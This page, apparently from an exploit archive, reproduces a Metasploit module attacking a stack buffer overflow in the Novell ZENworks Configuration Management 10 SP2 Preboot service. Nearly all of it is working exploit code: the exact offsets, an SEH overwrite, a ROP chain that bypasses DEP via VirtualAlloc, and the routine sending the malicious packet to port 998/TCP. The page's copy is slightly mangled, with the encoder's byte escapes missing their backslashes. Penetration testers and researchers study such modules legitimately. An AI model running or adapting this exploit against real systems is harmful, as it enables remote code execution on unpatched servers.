Home / exploits

PDF

Novell ZENworks Configuration Management Preboot Service 0x2

Posted on 19 July 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',
 'Description' => %q{
 This module exploits a remote buffer overflow in the ZENworks Configuration
 Management 10 SP2. The vulnerability exists in the Preboot service and can be
 triggered by sending a specially crafted packet with the opcode 0x21
 (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on
 Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
 (DEP bypass).
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Stephen Fewer', # Vulnerability Discovery
 'juan' # Metasploit module
 ],
 'References' =>
 [
 [ 'OSVDB', '65361' ],
 [ 'BID', '40486' ],
 [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],
 [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process'
 },
 'Payload' =>
 {
 'BadChars' => "",
 'Space'=> 8138,
 'DisableNops' => true,
 'PrependEncoder' => "x81xC4x54xF2xFFxFF" # add esp, -3500
 },
 'Platform' => ['win'],
 'Targets' =>
 [
 [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
 {
 'Offset' => 8252,
 'OffsetBottomStack' => 8288,
 'OffsetRop' => 44,
 'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
 }
 ]
 ],
 'Privileged' => false,
 'DisclosureDate' => 'Mar 30 2010',
 'DefaultTarget' => 0))

 register_options([Opt::RPORT(998)], self.class)
 end

 def junk(n=4)
 return rand_text_alpha(n).unpack("V").first
 end

 def nop
 return make_nops(4).unpack("L")[0].to_i
 end

 # rop chain generated with mona.py
 def create_rop_chain()
 rop_gadgets =
 [
 0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
 0x00001000, # 0x00001000-> edx
 0x10062113, # POP ECX # RETN [zenimgweb.dll]
 0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
 0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 junk, # Filler (compensate)
 0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
 0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
 0x10043053, # & push esp # ret [zenimgweb.dll]
 0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
 0x00000001, # 0x00000001-> ebx
 0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
 0x00000040, # 0x00000040-> ecx
 0x1003173e, # POP EDI # RETN [zenimgweb.dll]
 0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
 0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
 nop,
 0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
 ].pack("V*")

 return rop_gadgets
 end

 def exploit
 connect

 buf = rand_text(target['OffsetRop'])
 buf << create_rop_chain
 buf << payload.encoded
 buf << rand_text(target['Offset'] - buf.length)
 buf << generate_seh_record(target.ret)
 buf << rand_text(target['OffsetBottomStack'] - buf.length)

 packet = [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE
 packet << [buf.length].pack("N") # Length
 packet << buf # Value
 sock.put(packet)

 disconnect
 end
end

 

TOP